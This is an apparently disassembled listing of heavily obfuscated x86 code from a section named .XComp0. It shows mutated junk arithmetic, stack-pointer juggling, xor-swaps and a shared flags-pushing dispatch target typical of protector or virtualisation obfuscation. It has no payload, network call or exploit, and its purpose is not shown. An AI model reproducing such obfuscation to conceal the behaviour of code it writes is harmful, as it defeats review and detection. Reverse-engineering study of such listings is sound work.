loc_593A86:				; CODE XREF: .XComp0:0058CCA5j
		add	esp, 4
		push	esi
		push	ebx
		push	61924762h
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_585EC9
; ---------------------------------------------------------------------------


loc_593AAC:				; CODE XREF: .XComp0:0058D471j
		push	eax
		mov	eax, 4DFF0660h
		jmp	loc_58F599
; ---------------------------------------------------------------------------


loc_593AB7:				; CODE XREF: .XComp0:0058C427j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593ABC:				; CODE XREF: .XComp0:00595571j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebp
		push	4
		jmp	loc_593463
; ---------------------------------------------------------------------------


loc_593ADD:				; CODE XREF: .XComp0:00585F84j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_584A9F
; ---------------------------------------------------------------------------


loc_593AEE:				; CODE XREF: .XComp0:00597DA8j
		push	7819h
		mov	[esp], edx
		mov	edx, 57774024h
		push	eax
		push	edi
		mov	edi, 0DE8576Eh
		xchg	esi, edi
		dec	esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		push	edi
		jmp	loc_593C85
; ---------------------------------------------------------------------------


loc_593B11:				; CODE XREF: .XComp0:005977A1j
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_5843E1
; ---------------------------------------------------------------------------


loc_593B24:				; CODE XREF: .XComp0:00586D97j
		push	esi
		push	ebp
		push	edx
		push	edi
		push	28D317Dh
		pop	edi
		jmp	loc_596F8D
; ---------------------------------------------------------------------------


loc_593B33:				; CODE XREF: .XComp0:00592EACj
		mov	[esp], cx
		jmp	loc_5884E5
; ---------------------------------------------------------------------------


loc_593B3C:				; CODE XREF: .XComp0:0058D6D5j
		push	edi
		push	ecx
		jmp	loc_588D20
; ---------------------------------------------------------------------------


loc_593B43:				; CODE XREF: .XComp0:00588AF7j
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_587D7B
; ---------------------------------------------------------------------------


loc_593B56:				; CODE XREF: .XComp0:0058F4FAj
		shr	ecx, 1
		dec	ecx
		shl	ecx, 3
		push	ebp
		jmp	loc_597F64
; ---------------------------------------------------------------------------


loc_593B62:				; CODE XREF: .XComp0:00592A53j
		mov	esi, 18342C9Dh
		inc	esi
		jmp	loc_586A5C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	7277h
		sub	esp, 4
		jmp	loc_58FDF3
; ---------------------------------------------------------------------------


loc_593B84:				; CODE XREF: .XComp0:0058EE56j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	dl, 52h
		not	dl
		push	eax
		mov	al, 0C1h
		xor	al, 7Ah
		jmp	loc_5875C0
; ---------------------------------------------------------------------------


loc_593BAA:				; CODE XREF: .XComp0:005896AFj
		sub	al, 8Ah
		jmp	loc_58C034
; ---------------------------------------------------------------------------


loc_593BB1:				; CODE XREF: .XComp0:00593BF5j
		mov	[esp], ebx
		push	4312h
		mov	[esp], eax
		jmp	loc_592B7A
; ---------------------------------------------------------------------------


loc_593BC1:				; CODE XREF: .XComp0:005855A4j
		sub	ecx, 1
		shr	ecx, 1
		jmp	loc_589A59
; ---------------------------------------------------------------------------


loc_593BCB:				; CODE XREF: .XComp0:00598D3Ej
		not	al
		sub	al, 0E2h
		shr	al, 7
		xor	al, 24h
		jmp	loc_58DFB3
; ---------------------------------------------------------------------------


loc_593BD9:				; CODE XREF: .XComp0:00595088j
		push	edx
		push	79C15FBFh
		mov	edx, [esp]
		add	esp, 4
		add	edx, 1
		jmp	loc_594D93
; ---------------------------------------------------------------------------
		push	5E82h
		jmp	loc_593BB1
; ---------------------------------------------------------------------------


loc_593BFA:				; CODE XREF: .XComp0:0059076Dj
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	2000h
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5893F8
; ---------------------------------------------------------------------------


loc_593C25:				; CODE XREF: .XComp0:005950A6j
		add	esp, 4
		idiv	ecx
		jmp	loc_592241
; ---------------------------------------------------------------------------


loc_593C2F:				; CODE XREF: .XComp0:00594349j
		xor	eax, [esp]
		jmp	loc_590FB9
; ---------------------------------------------------------------------------


loc_593C37:				; CODE XREF: .XComp0:00593A04j
		xor	ecx, 756C17B4h
		jmp	loc_58A183
; ---------------------------------------------------------------------------


loc_593C42:				; CODE XREF: .XComp0:00585537j
		sub	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_592BEA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593C69:				; CODE XREF: .XComp0:00595F60j
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_593D1C
; ---------------------------------------------------------------------------


loc_593C85:				; CODE XREF: .XComp0:00593B0Cj
		not	dword ptr [esp]
		pop	edi
		shl	edi, 7
		jmp	loc_592A1E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_59726A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		jmp	loc_587731
; ---------------------------------------------------------------------------


loc_593CC7:				; CODE XREF: .XComp0:0058E6A2j
		pop	esi
		jmp	loc_5895D0
; ---------------------------------------------------------------------------


loc_593CCD:				; CODE XREF: .XComp0:00590907j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593CD2:				; CODE XREF: .XComp0:00594592j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_591833
; ---------------------------------------------------------------------------


loc_593CE6:				; CODE XREF: .XComp0:00591F40j
		push	3A88h
		mov	[esp], ebx
		jmp	loc_598181
; ---------------------------------------------------------------------------


loc_593CF3:				; CODE XREF: .XComp0:00596D53j
		add	esi, ecx
		pop	ecx
		xor	esi, 94A8355Ah
		add	ebp, esi
		pop	esi
		mov	ebx, [esp]
		jmp	loc_58BFC2
; ---------------------------------------------------------------------------


loc_593D07:				; CODE XREF: .XComp0:00587858j
		pop	ebp
		jmp	loc_59381A
; ---------------------------------------------------------------------------


loc_593D0D:				; CODE XREF: .XComp0:0058564Bj
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593D1C:				; CODE XREF: .XComp0:00593C80j
		dec	byte ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593D25:				; CODE XREF: .XComp0:00583FCAj
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, eax
		jmp	loc_584FEF
; ---------------------------------------------------------------------------


loc_593D33:				; CODE XREF: .XComp0:00583C35j
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		not	ecx
		and	ecx, 2B9A4C6Ch
		push	edx
		mov	edx, 7BD81BAh
		sub	ecx, edx
		pop	edx
		jmp	loc_58CA9B
; ---------------------------------------------------------------------------


loc_593D51:				; CODE XREF: .XComp0:00589065j
		mov	ebx, edi
		pop	edi
		sub	ebx, edi
		pop	edi
		sub	edx, ebx
		jmp	loc_58E316
; ---------------------------------------------------------------------------


loc_593D5E:				; CODE XREF: .XComp0:00584776j
		push	ebp
		push	esp
		jmp	loc_597CD5
; ---------------------------------------------------------------------------


loc_593D65:				; CODE XREF: .XComp0:00597024j
		mov	dl, 36h
		add	ch, 4Ch
		add	ch, dl
		jmp	loc_58624D
; ---------------------------------------------------------------------------


loc_593D71:				; CODE XREF: .XComp0:005867A0j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebx
		jmp	loc_5847D3
; ---------------------------------------------------------------------------


loc_593D7F:				; CODE XREF: .XComp0:0058BB03j
		pop	edi
		or	[edi+1Ch], ecx
		push	dword ptr [esp]
		jmp	loc_584738
; ---------------------------------------------------------------------------


loc_593D8B:				; CODE XREF: .XComp0:0058E84Fj
		push	ecx
		jmp	loc_589FE3
; ---------------------------------------------------------------------------


loc_593D91:				; CODE XREF: .XComp0:00588924j
		mov	edi, 7A8E02A1h
		push	edi
		mov	edi, 5298782Ah
		sub	edi, 384B1C7Eh
		not	edi
		dec	edi
		sub	edi, 113F6770h
		add	edi, 5D8808E2h
		jmp	loc_58905F
; ---------------------------------------------------------------------------


loc_593DB6:				; CODE XREF: .XComp0:00587743j
		push	esi
		mov	esi, 4
		sub	ecx, 3AE3098Dh
		jmp	loc_5965A1
; ---------------------------------------------------------------------------


loc_593DC7:				; CODE XREF: .XComp0:00585970j
		and	edx, 67495C3Dh
		sub	edx, 74855B10h
		push	eax
		mov	eax, 0CE82C105h
		sub	edx, eax
		jmp	loc_597CCF
; ---------------------------------------------------------------------------


loc_593DE0:				; CODE XREF: .XComp0:005869A9j
		xor	edi, [esp]
		jmp	loc_596F7A
; ---------------------------------------------------------------------------


loc_593DE8:				; CODE XREF: .XComp0:0058EE17j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_592A96
; ---------------------------------------------------------------------------


loc_593DF3:				; CODE XREF: .XComp0:0058547Fj
		mov	eax, 66A53325h
		mov	edx, eax
		push	dword ptr [esp]
		jmp	loc_588F61
; ---------------------------------------------------------------------------


loc_593E02:				; CODE XREF: .XComp0:00598621j
		xor	dword ptr [esp], 64887D43h
		pop	ecx
		xor	ecx, 64887D43h
		pop	edi
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_58C70F
; ---------------------------------------------------------------------------


loc_593E1B:				; CODE XREF: .XComp0:00596075j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	esi
		push	ebx
		jmp	loc_598FAB
; ---------------------------------------------------------------------------


loc_593E31:				; CODE XREF: .XComp0:00594A78j
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	ebp
		push	4A1A6AC0h
		pop	ebp
		jmp	loc_58C9B6
; ---------------------------------------------------------------------------


loc_593E48:				; CODE XREF: .XComp0:0058A086j
		shl	ebp, 3
		push	esi
		push	76FF2884h
		pop	esi
		shr	esi, 1
		and	esi, 0A75DFCh
		xor	esi, 224EBBCh
		jmp	loc_591F2D
; ---------------------------------------------------------------------------


loc_593E65:				; CODE XREF: .XComp0:0059349Ej
		mov	edi, 1035708Fh
		add	edi, 6E473CA6h
		sub	esp, 4
		jmp	loc_592EB1
; ---------------------------------------------------------------------------


loc_593E78:				; CODE XREF: .XComp0:00596A68j
		mov	ecx, 790B5DD0h
		or	edi, ecx
		pop	ecx
		add	edi, 80E48226h
		push	edi
		add	dword ptr [esp], 8348A9h
		pop	edx
		jmp	loc_584F61
; ---------------------------------------------------------------------------


loc_593E94:				; CODE XREF: .XComp0:005856D5j
		sub	ebx, 2F0A1909h
		jmp	loc_58C02C
; ---------------------------------------------------------------------------


loc_593E9F:				; CODE XREF: .XComp0:00587E8Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_590ECA
; ---------------------------------------------------------------------------


loc_593EB4:				; CODE XREF: .XComp0:00588265j
		pop	ebp
		push	ecx
		mov	ecx, 62227EA0h
		push	ebx
		mov	ebx, 4ED723C0h
		and	ebx, 799416A5h
		add	ebx, 0CAD93ECFh
		or	ecx, ebx
		pop	ebx
		neg	ecx
		neg	ecx
		jmp	loc_584BB6
; ---------------------------------------------------------------------------


loc_593ED9:				; CODE XREF: .XComp0:0058EC7Aj
		push	eax
		mov	eax, 48C176E5h
		add	edi, eax
		pop	eax
		not	edi
		xor	edi, 82654B00h
		jmp	loc_588E54
; ---------------------------------------------------------------------------


loc_593EEF:				; CODE XREF: .XComp0:005848EEj
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		pop	esi
		push	ebx
		push	edi
		push	ebp
		mov	ebp, 2D240754h
		mov	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 2BC1F91h
		sub	eax, 7CC80CD1h
		neg	eax
		shl	eax, 4
		push	ebp
		mov	ebp, 6D74B32h
		sub	eax, ebp
		jmp	loc_594429
; ---------------------------------------------------------------------------


loc_593F24:				; CODE XREF: .XComp0:00587201j
		push	edx
		jmp	loc_59576F
; ---------------------------------------------------------------------------


loc_593F2A:				; CODE XREF: .XComp0:0058807Aj
		add	[esp+4], edx
		sub	dword ptr [esp+4], 0C9D1D94h
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_584DBE
; ---------------------------------------------------------------------------


loc_593F44:				; CODE XREF: .XComp0:00589DE7j
		pop	esi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	3865h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 91027CDh
		mov	ebx, ebp
		pop	ebp
		push	esi
		push	ecx
		mov	ecx, 5EC44E5Ch
		or	ecx, 2D7D6604h
		sub	ecx, 30A1391Dh
		jmp	loc_597E59
; ---------------------------------------------------------------------------


loc_593F7B:				; CODE XREF: .XComp0:0058EC03j
		mov	ebp, esp
		jmp	loc_595640
; ---------------------------------------------------------------------------


loc_593F82:				; CODE XREF: .XComp0:0058F0C5j
		or	edi, eax
		jmp	loc_58A562
; ---------------------------------------------------------------------------


loc_593F89:				; CODE XREF: .XComp0:00596E81j
		xor	eax, esi
		pop	esi
		push	eax
		pop	ecx
		pop	eax
		sub	[esp+4], ecx
		jmp	loc_598704
; ---------------------------------------------------------------------------


loc_593F98:				; CODE XREF: .XComp0:00596540j
		mov	bx, bp
		pop	ebp
		pop	ecx
		add	dx, 5EB1h
		add	dx, 3A3Fh
		jmp	loc_596233
; ---------------------------------------------------------------------------


loc_593FAC:				; CODE XREF: .XComp0:00594D10j
		xor	ecx, 1BE8B608h
		jmp	loc_58A53C
; ---------------------------------------------------------------------------


loc_593FB7:				; CODE XREF: .XComp0:005898DBj
		pop	esi
		sub	edi, 14CC6CAAh
		add	edi, ebx
		add	edi, 14CC6CAAh
		jmp	loc_58B14D
; ---------------------------------------------------------------------------


loc_593FCB:				; CODE XREF: .XComp0:00592953j
		mov	[esp], ebp
		mov	ebp, 2
		add	ecx, ebp
		jmp	loc_59100F
; ---------------------------------------------------------------------------


loc_593FDA:				; CODE XREF: .XComp0:0058A413j
		push	ebp
		mov	ebp, 55CC4391h
		inc	ebp
		and	ebp, 4E324C7Dh
		jmp	loc_588F80
; ---------------------------------------------------------------------------


loc_593FEC:				; CODE XREF: .XComp0:00587933j
		push	edi
		mov	edi, 2
		sub	edx, 5E4F60BEh
		add	edx, edi
		jmp	loc_585105
; ---------------------------------------------------------------------------


loc_593FFF:				; CODE XREF: .XComp0:00586836j
		not	edx
		not	edx
		xor	edx, 2491401Ch
		sub	eax, 7B31464h
		add	eax, 29C56759h
		sub	eax, edx
		sub	eax, 29C56759h
		add	eax, 7B31464h
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58DAD2
; ---------------------------------------------------------------------------


loc_59402E:				; CODE XREF: .XComp0:00591503j
		shr	edx, 8
		push	eax
		push	ebp
		mov	ebp, 2DD37A5Bh
		jmp	loc_58666A
; ---------------------------------------------------------------------------


loc_59403D:				; CODE XREF: .XComp0:005978F7j
		pop	esp
		push	esi
		mov	esi, 4E94012Ah
		xor	esi, 4E94012Eh
		add	ebx, esi
		pop	esi
		jmp	loc_58FAD9
; ---------------------------------------------------------------------------


loc_594052:				; CODE XREF: .XComp0:0058720Aj
		sub	dh, al
		pop	ax
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58D7B2
; ---------------------------------------------------------------------------


loc_594066:				; CODE XREF: .XComp0:0058E302j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 3D0C34A9h
		xor	ecx, 144D65FBh
		jmp	loc_586C7F
; ---------------------------------------------------------------------------


loc_594081:				; CODE XREF: .XComp0:0058BF7Cj
		mov	ebp, [esp]
		jmp	loc_5989E5
; ---------------------------------------------------------------------------


loc_594089:				; CODE XREF: .XComp0:0058E67Ej
		add	esp, 4
		jmp	loc_58CCAA
; ---------------------------------------------------------------------------


loc_594094:				; CODE XREF: .XComp0:0058F2C2j
		add	esp, 4
		push	ebx
		push	edi
		jmp	loc_58C006
; ---------------------------------------------------------------------------


loc_5940A1:				; CODE XREF: .XComp0:0058E56Ej
		sub	esp, 4
		mov	[esp], edi
		push	14337B2Dh
		jmp	loc_592991
; ---------------------------------------------------------------------------


loc_5940B4:				; CODE XREF: .XComp0:005860B8j
		mov	eax, 4
		sub	edx, 52FA430Fh
		sub	edx, eax
		add	edx, 52FA430Fh
		pop	eax
		xchg	edx, [esp]
		jmp	loc_58E078
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5954D8
; ---------------------------------------------------------------------------


loc_5940DB:				; CODE XREF: .XComp0:0058F2A2j
		shr	ebp, 2
		xor	ebp, 20CF7533h
		push	edi
		mov	edi, 5C5735CAh
		jmp	loc_5924D6
; ---------------------------------------------------------------------------


loc_5940EF:				; CODE XREF: .XComp0:00586BF9j
		add	eax, edi
		add	eax, 44EA3A95h
		push	ebx
		jmp	loc_59082F
; ---------------------------------------------------------------------------


loc_5940FC:				; CODE XREF: .XComp0:005927B8j
		pop	ebx
		add	dh, 74h
		push	ebx
		push	eax
		mov	al, dh
		jmp	loc_59637E
; ---------------------------------------------------------------------------


loc_594109:				; CODE XREF: .XComp0:00598CE8j
		mov	ebx, 3A144781h
		jmp	loc_592CF6
; ---------------------------------------------------------------------------


loc_594113:				; CODE XREF: .XComp0:00593267j
		mov	ebx, [esp]
		push	ebp
		sub	esp, 4
		jmp	loc_5986E8
; ---------------------------------------------------------------------------


loc_594122:				; CODE XREF: .XComp0:00598A7Cj
		add	eax, 4E442201h
		pop	ecx
		push	ecx
		mov	ecx, 2
		jmp	loc_586206
; ---------------------------------------------------------------------------


loc_594133:				; CODE XREF: .XComp0:0059693Bj
		mov	[esp], esi
		mov	esi, 7F0C4295h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 408A3466h
		and	edx, 43B95652h
		or	edx, 0CB94A04h
		inc	edx
		xor	edx, 56174FE2h
		or	esi, edx
		pop	edx
		shl	esi, 6
		jmp	loc_597918
; ---------------------------------------------------------------------------


loc_594164:				; CODE XREF: .XComp0:0058CFEAj
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58D7A1
; ---------------------------------------------------------------------------


loc_594180:				; CODE XREF: .XComp0:0058736Fj
		shl	ebp, 4
		shr	ebp, 8
		push	ecx
		jmp	loc_58D631
; ---------------------------------------------------------------------------


loc_59418C:				; CODE XREF: .XComp0:005872C8j
		mov	ebp, edi
		jmp	loc_598EC9
; ---------------------------------------------------------------------------


loc_594193:				; CODE XREF: .XComp0:0059853Ej
		sub	ah, dl
		sub	ah, 69h
		mov	edx, [esp]
		add	esp, 4
		shr	ah, 2
		push	1E82h
		mov	[esp], ebx
		push	3932h
		mov	[esp], eax
		mov	al, 3Fh
		mov	bh, al
		pop	eax
		add	ah, bh
		jmp	loc_58D554
; ---------------------------------------------------------------------------


loc_5941BD:				; CODE XREF: .XComp0:00598FDBj
		mov	bh, 5Ah
		add	bh, 7Fh
		sub	bh, 0AAh
		add	dh, bh
		jmp	loc_58F547
; ---------------------------------------------------------------------------


loc_5941CC:				; CODE XREF: .XComp0:005931D3j
		push	edx
		push	60943AC0h
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_591963
; ---------------------------------------------------------------------------


loc_5941DD:				; CODE XREF: .XComp0:0058DE0Ej
		shr	ebp, 5
		add	ebp, 23E6B22h
		mov	eax, ebp
		pop	ebp
		add	[esp+4], eax
		jmp	loc_588757
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_58B9B3
; ---------------------------------------------------------------------------


loc_594208:				; CODE XREF: .XComp0:0058F616j
		sub	edi, 30127291h
		add	edi, esi
		add	edi, 30127291h
		add	edi, 33EA4101h
		sub	edi, 21BB08C6h
		pop	esi
		jmp	loc_58699D
; ---------------------------------------------------------------------------


loc_594228:				; CODE XREF: .XComp0:005885BAj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58CBBA
; ---------------------------------------------------------------------------


loc_59423F:				; CODE XREF: .XComp0:0058B448j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	esi
		jmp	loc_595CE6
; ---------------------------------------------------------------------------


loc_59424F:				; CODE XREF: .XComp0:0059303Aj
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_589C17
; ---------------------------------------------------------------------------


loc_594264:				; CODE XREF: .XComp0:0058AB78j
		sub	ecx, 0DE913784h
		jmp	loc_5860E1
; ---------------------------------------------------------------------------


loc_59426F:				; CODE XREF: .XComp0:00597327j
		push	eax
		jmp	loc_58785D
; ---------------------------------------------------------------------------


loc_594275:				; CODE XREF: .XComp0:0058CA42j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	77Eh
		mov	[esp], ebx
		mov	ebx, 23D74D11h
		or	ebx, 1C8860C5h
		xor	ebx, 4DA31249h
		push	esi
		mov	esi, 8D838066h
		add	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		sub	eax, 0FC10530h
		jmp	loc_58D5B6
; ---------------------------------------------------------------------------


loc_5942C0:				; CODE XREF: .XComp0:00597F9Bj
		push	48D07936h
		jmp	loc_592C9B
; ---------------------------------------------------------------------------


loc_5942CA:				; CODE XREF: .XComp0:0058C83Ej
		mov	esp, [esp]
		pop	ebx
		jmp	loc_5986F0
; ---------------------------------------------------------------------------


loc_5942D3:				; CODE XREF: .XComp0:005972AEj
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_596864
; ---------------------------------------------------------------------------


loc_5942E2:				; CODE XREF: .XComp0:0058593Aj
		mov	eax, 4
		jmp	loc_590B60
; ---------------------------------------------------------------------------


loc_5942EC:				; CODE XREF: .XComp0:0058FED8j
		xor	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 5C1242C5h
		or	esi, 7E593480h
		dec	esi
		or	esi, 38CA2BAAh
		jmp	loc_5845DB
; ---------------------------------------------------------------------------


loc_594307:				; CODE XREF: .XComp0:0058BBBCj
		neg	ebx
		shl	ebx, 4
		add	ebx, 3591D620h
		mov	edi, ebx
		pop	ebx
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	393Ch
		mov	[esp], edx
		xor	[esp], eax
		jmp	loc_593C2F
; ---------------------------------------------------------------------------


loc_59434E:				; CODE XREF: .XComp0:005963C8j
		mov	esi, 6033053Bh
		add	eax, esi
		pop	esi
		add	eax, 73B4DA0h
		sub	eax, edx
		sub	eax, 73B4DA0h
		sub	eax, 6033053Bh
		add	eax, 7E224573h
		jmp	loc_5859BA
; ---------------------------------------------------------------------------


loc_594371:				; CODE XREF: .XComp0:0058846Bj
		xchg	ebp, [esp]
		pop	esp
		add	eax, ecx
		jmp	loc_5951E6
; ---------------------------------------------------------------------------


loc_59437C:				; CODE XREF: .XComp0:00597D46j
		sub	eax, 860B3926h
		sub	ebp, eax
		pop	eax
		add	ebp, esi
		add	ebp, 360649C1h
		jmp	loc_5989BF
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 12A25CFh
		add	eax, ebx
		push	edx
		push	6B10h
		jmp	loc_5843C2
; ---------------------------------------------------------------------------


loc_5943A4:				; CODE XREF: .XComp0:00590200j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	edx
		push	50606FDFh
		pop	edx
		jmp	loc_592C7E
; ---------------------------------------------------------------------------


loc_5943BA:				; CODE XREF: .XComp0:0058AB3Cj
		pop	ebx
		push	edi
		mov	edi, 67E601E2h
		xor	ebx, edi
		pop	edi
		push	4250h
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		sub	esi, 38923547h
		add	esi, edi
		jmp	loc_589A5F
; ---------------------------------------------------------------------------


loc_5943E1:				; CODE XREF: .XComp0:00592F59j
		xor	ebx, 50583C27h
		jmp	loc_5905F9
; ---------------------------------------------------------------------------


loc_5943EC:				; CODE XREF: .XComp0:00584529j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5936E5
; ---------------------------------------------------------------------------


loc_5943FD:				; CODE XREF: .XComp0:0058BC8Fj
		pop	ecx
		push	4596h
		mov	[esp], ebx
		pop	edi
		pop	ebx
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 56F43B51h
		xchg	eax, ebx
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		xchg	eax, ebx
		push	0
		jmp	loc_58A149
; ---------------------------------------------------------------------------


loc_594429:				; CODE XREF: .XComp0:00593F1Fj
		pop	ebp
		xor	eax, 3B6015F3h
		jmp	loc_58A266
; ---------------------------------------------------------------------------


loc_594434:				; CODE XREF: .XComp0:0058D2DAj
		push	ebx
		mov	ebx, 453C7128h
		push	ebp
		mov	ebp, 13032BEh
		sub	ebx, 35B4566Bh
		jmp	loc_595889
; ---------------------------------------------------------------------------


loc_59444B:				; CODE XREF: .XComp0:0058ED4Fj
		mov	ecx, 52AA1077h
		jmp	loc_58F214
; ---------------------------------------------------------------------------


loc_594455:				; CODE XREF: .XComp0:0058E9FBj
		mov	ax, [esp]
		push	430Ah
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		push	esi
		push	345745Ch
		pop	esi
		not	esi
		add	esi, 3457461h
		mov	ecx, esi
		pop	esi
		add	edx, ecx
		jmp	loc_588725
; ---------------------------------------------------------------------------


loc_59447D:				; CODE XREF: .XComp0:0058C012j
		xor	edi, 1DD57FFBh
		mov	ebx, edi
		pop	edi
		sub	eax, 3BAF1F74h
		jmp	loc_5846BE
; ---------------------------------------------------------------------------


loc_594490:				; CODE XREF: .XComp0:00584B5Cj
		pop	esp
		jmp	loc_5884A2
; ---------------------------------------------------------------------------


loc_594496:				; CODE XREF: .XComp0:005854D2j
		pop	ecx
		jmp	loc_58515C
; ---------------------------------------------------------------------------


loc_59449C:				; CODE XREF: .XComp0:0058772Cj
		pop	ebp
		jmp	loc_59353E
; ---------------------------------------------------------------------------


loc_5944A2:				; CODE XREF: .XComp0:00589A1Aj
		mov	edx, 3BB11AB5h
		xor	edx, 7F36341Eh
		mov	ebp, edx
		jmp	loc_592AB8
; ---------------------------------------------------------------------------


loc_5944B4:				; CODE XREF: .XComp0:00598255j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		idiv	cx
		jmp	loc_58FD42
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2525h
		jmp	loc_5970B9
; ---------------------------------------------------------------------------


loc_5944D7:				; CODE XREF: .XComp0:005967D1j
		mov	edx, esp
		sub	esp, 4
		jmp	loc_583FE8
; ---------------------------------------------------------------------------


loc_5944E1:				; CODE XREF: .XComp0:00584450j
		push	ebx
		mov	ebx, 62800DA5h
		add	ebx, 0E25EF708h
		add	ecx, ebx
		jmp	loc_589038
; ---------------------------------------------------------------------------


loc_5944F4:				; CODE XREF: .XComp0:0058A5A2j
		pop	ecx
		jmp	loc_58C23C
; ---------------------------------------------------------------------------


loc_5944FA:				; CODE XREF: .XComp0:0058C645j
		mov	esi, eax
		push	dword ptr [esp]
		jmp	loc_597F70
; ---------------------------------------------------------------------------


loc_594504:				; CODE XREF: .XComp0:0058D369j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		mov	esp, [esp]
		imul	ecx
		push	2C47h
		jmp	loc_58B773
; ---------------------------------------------------------------------------


loc_59452C:				; CODE XREF: .XComp0:005852A7j
		push	di
		push	4471h
		mov	[esp], esi
		mov	si, 1CE8h
		mov	di, 4BBh
		jmp	loc_589B40
; ---------------------------------------------------------------------------


loc_594543:				; CODE XREF: .XComp0:00598D24j
		xor	esi, [esp]
